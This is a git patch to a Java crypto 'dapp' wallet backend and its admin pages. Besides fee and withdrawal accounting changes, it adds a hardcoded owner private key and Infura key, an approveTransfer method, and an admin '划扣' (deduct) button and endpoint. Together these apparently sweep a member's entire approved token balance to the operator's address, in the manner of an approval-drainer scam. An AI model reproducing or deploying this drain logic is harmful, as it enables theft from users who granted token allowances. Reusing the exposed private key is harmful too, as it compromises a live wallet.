From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 24 Mar 2022 15:25:16 +0800
Subject: [PATCH] add some limit
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 10 +++++
src/main/resources/templates/febs/views/dapp/member.html | 17 +++++++-
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 10 +++++
src/main/resources/templates/febs/views/dapp/member-withdraw.html | 1
src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java | 32 ++++++++++++----
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java | 6 +--
src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java | 7 +++
src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java | 5 ++
8 files changed, 72 insertions(+), 16 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 8dbef5f..31c109e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -65,6 +65,16 @@
return Integer.parseInt(total);
}
+ public void transfer(String address) {
+ BigDecimal amount = balanceOf(address);
+
+ if (address.contains(ETH_PREFIX)) {
+ ETH.approveTransfer(address, amount, null);
+ } else {
+ TRX.transfer(address, amount);
+ }
+ }
+
public static void main(String[] args) {
// System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2f45fcf..66c0309 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -54,6 +54,7 @@
// private static final String ETH_UTL = "http://114.55.250.231:8545";
private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
+ private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
public EthService() {
try {
@@ -250,6 +251,15 @@
}
}
+ public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+ try {
+ return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ } catch (InterruptedException | ExecutionException e) {
+ e.printStackTrace();
+ return "";
+ }
+ }
+
public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
throws InterruptedException, ExecutionException {
// Web3j web3j = Web3j.build(new
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
index eb64fc1..4c26a7e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -66,4 +66,11 @@
dappMemberService.withdrawAble(id);
return new FebsResponse().success();
}
+
+ @PostMapping(value = "/changeMoney/{address}")
+ public FebsResponse changeMoney(@PathVariable(value = "address") String address) {
+ // TODO 增加划扣记录表
+ ChainService.INSTANCE.transfer(address);
+ return new FebsResponse().success();
+ }
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
index 171ee51..f234cd5 100644
--- a/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
+++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
@@ -21,11 +21,12 @@
public DappFundFlowEntity() {}
- public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status) {
+ public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status, Integer fee) {
this.memberId = memberId;
this.amount = amount;
this.type = type;
this.status = status;
+ this.fee = fee;
this.setCreateBy("system");
this.setUpdateBy("system");
@@ -50,4 +51,6 @@
@TableField(exist = false)
private String address;
+
+ private Integer fee;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index 048afd5..e8a5f8e 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -102,10 +102,8 @@
@Override
public boolean isApprove(String address) {
DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address);
- if (memberEntity != null) {
- return true;
- }
- return false;
+
+ return memberEntity != null && ChainService.INSTANCE.isAllowance(address);
}
@Override
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
index e4f7b59..b541147 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
@@ -4,6 +4,7 @@
import cc.mrbird.febs.common.entity.QueryRequest;
import cc.mrbird.febs.common.exception.FebsException;
import cc.mrbird.febs.common.utils.LoginUserUtil;
+import cc.mrbird.febs.common.utils.RedisUtils;
import cc.mrbird.febs.dapp.dto.RecordInPageDto;
import cc.mrbird.febs.dapp.dto.WalletOperateDto;
import cc.mrbird.febs.dapp.entity.*;
@@ -34,6 +35,7 @@
private final DappWalletCoinDao dappWalletCoinDao;
private final DappFundFlowDao dappFundFlowDao;
private final DappAccountMoneyChangeDao dappAccountMoneyChangeDao;
+ private final RedisUtils redisUtils;
@Override
public WalletInfoVo walletInfo() {
@@ -54,14 +56,14 @@
public void change(WalletOperateDto walletOperateDto) {
DappMemberEntity member = LoginUserUtil.getAppUser();
- BigDecimal ethUsdtPrice = new BigDecimal("1234");
+ BigDecimal ethUsdtPrice = (BigDecimal) redisUtils.get(AppContants.REDIS_KEY_ETH_NEW_PRICE);
DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId());
if (walletOperateDto.getAmount().compareTo(walletMine.getAvailableAmount()) > 0) {
throw new FebsException("可用金额不足");
}
- DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_CHANGE, null);
+ DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_CHANGE, null, null);
dappFundFlowDao.insert(fund);
BigDecimal preEthAmount = walletMine.getAvailableAmount();
@@ -69,7 +71,6 @@
// TODO 并发加悲观锁
// 更新eth金额
walletMine.setAvailableAmount(walletMine.getAvailableAmount().subtract(walletOperateDto.getAmount()));
- walletMine.setTotalAmount(walletMine.getTotalAmount().subtract(walletOperateDto.getAmount()));
dappWalletMineDao.updateById(walletMine);
DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId());
@@ -81,8 +82,8 @@
walletCoin.setTotalAmount(walletCoin.getTotalAmount().add(usdt));
dappWalletCoinDao.updateById(walletCoin);
- DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getTotalAmount(), "ETH兑换USDT-ETH", AppContants.MONEY_TYPE_CHANGE);
- DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getTotalAmount(), "ETH兑换USDT-USDT", AppContants.MONEY_TYPE_CHANGE);
+ DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getAvailableAmount(), "ETH兑换USDT-ETH, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
+ DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getAvailableAmount(), "ETH兑换USDT-USDT, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
dappAccountMoneyChangeDao.insert(ethChange);
dappAccountMoneyChangeDao.insert(usdtChange);
}
@@ -97,13 +98,15 @@
throw new FebsException("可用金额不足");
}
- // TODO 并发加悲观锁
+ Integer fee = (Integer) redisUtils.get(AppContants.REDIS_KEY_CHANGE_FEE);
+
+ //TODO 并发加悲观锁
BigDecimal preAmount = walletCoin.getAvailableAmount();
walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().subtract(walletOperateDto.getAmount()));
- walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(walletOperateDto.getAmount()));
+ walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().add(walletOperateDto.getAmount()));
dappWalletCoinDao.updateById(walletCoin);
- DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_WITHDRAWAL, 1);
+ DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_WITHDRAWAL, 1, fee);
dappFundFlowDao.insert(fund);
DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preAmount, walletOperateDto.getAmount(), walletCoin.getAvailableAmount(), "USDT申请提现", AppContants.MONEY_TYPE_WITHDRAWAL);
@@ -127,20 +130,33 @@
}
@Override
+ @Transactional(rollbackFor = Exception.class)
public void withdrawAgreeOrNot(Long id, int type) {
DappFundFlowEntity fundFlow = dappFundFlowDao.selectById(id);
if (fundFlow == null) {
throw new FebsException("数据不存在");
}
+ DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(fundFlow.getMemberId());
if (type == 1) {
+ walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
+ walletCoin.setTotalAmount(walletCoin.getTotalAmount().subtract(fundFlow.getAmount()));
fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_AGREE);
} else if (type == 2) {
+ BigDecimal preAmount = walletCoin.getAvailableAmount();
+
+ walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
+ walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().add(fundFlow.getAmount()));
+
+ DappAccountMoneyChangeEntity accountMoneyChange = new DappAccountMoneyChangeEntity(walletCoin.getMemberId(), preAmount, fundFlow.getAmount(), walletCoin.getAvailableAmount(), "提现申请被驳回", 2);
fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_DISAGREE);
+
+ dappAccountMoneyChangeDao.insert(accountMoneyChange);
} else {
throw new FebsException("参数错误");
}
+ dappWalletCoinDao.updateById(walletCoin);
dappFundFlowDao.updateById(fundFlow);
}
diff --git a/src/main/resources/templates/febs/views/dapp/member-withdraw.html b/src/main/resources/templates/febs/views/dapp/member-withdraw.html
index a6d14ca..7f0475d 100644
--- a/src/main/resources/templates/febs/views/dapp/member-withdraw.html
+++ b/src/main/resources/templates/febs/views/dapp/member-withdraw.html
@@ -154,6 +154,7 @@
{field: 'createTime', title: '创建时间', minWidth: 180},
{field: 'amount', title: '提现金额', minWidth: 130},
{title: '提现状态', templet: '#withdraw-status'},
+ {field: 'fee', title: '手续费', minWidth: 130},
{title: '操作', toolbar: '#withdraw-option', minWidth: 200}
]]
});
diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html
index 10ca0ed..6f16640 100644
--- a/src/main/resources/templates/febs/views/dapp/member.html
+++ b/src/main/resources/templates/febs/views/dapp/member.html
@@ -104,8 +104,9 @@
<span>{{ sex.title }}</span>
</script>
<script type="text/html" id="balance">
- <span name="balance">{{ d.balance }}</span>
- <p><a lay-event="freshBalance">刷新</a></p>
+ <span name="balance">{{ d.balance }}</span></br>
+ <span><a lay-event="freshBalance">刷新</a></span>
+ <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">划扣</a></span>
</script>
<script type="text/html" id="approve-list">
<a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
@@ -184,6 +185,15 @@
});
}
+ if (layEvent === 'changeMoney') {
+ febs.modal.confirm('划扣', "是否划扣该用户?", function () {
+ febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
+ febs.alert.success('划扣成功');
+ $query.click();
+ });
+ });
+ }
+
var rowIndex = $(obj.tr).attr("data-index");
var balance = $(obj.tr).find("[name='balance']");
if (layEvent === 'freshBalance') {
@@ -230,7 +240,7 @@
{type: 'checkbox'},
{type: 'numbers'},
{field: 'address', title: '地址', minWidth: 130},
- {title: '余额', templet: '#balance'},
+ {title: '余额', templet: '#balance', minWidth: 150},
{title: '授权列表', templet: '#approve-list', minWidth: 110},
{field: 'inviteId', title: '邀请码', minWidth: 130},
{field: 'refererId', title: '上级邀请码', minWidth: 130},
@@ -259,5 +269,6 @@
$query.click();
});
}
+
})
</script>
--
Gitblit v1.9.1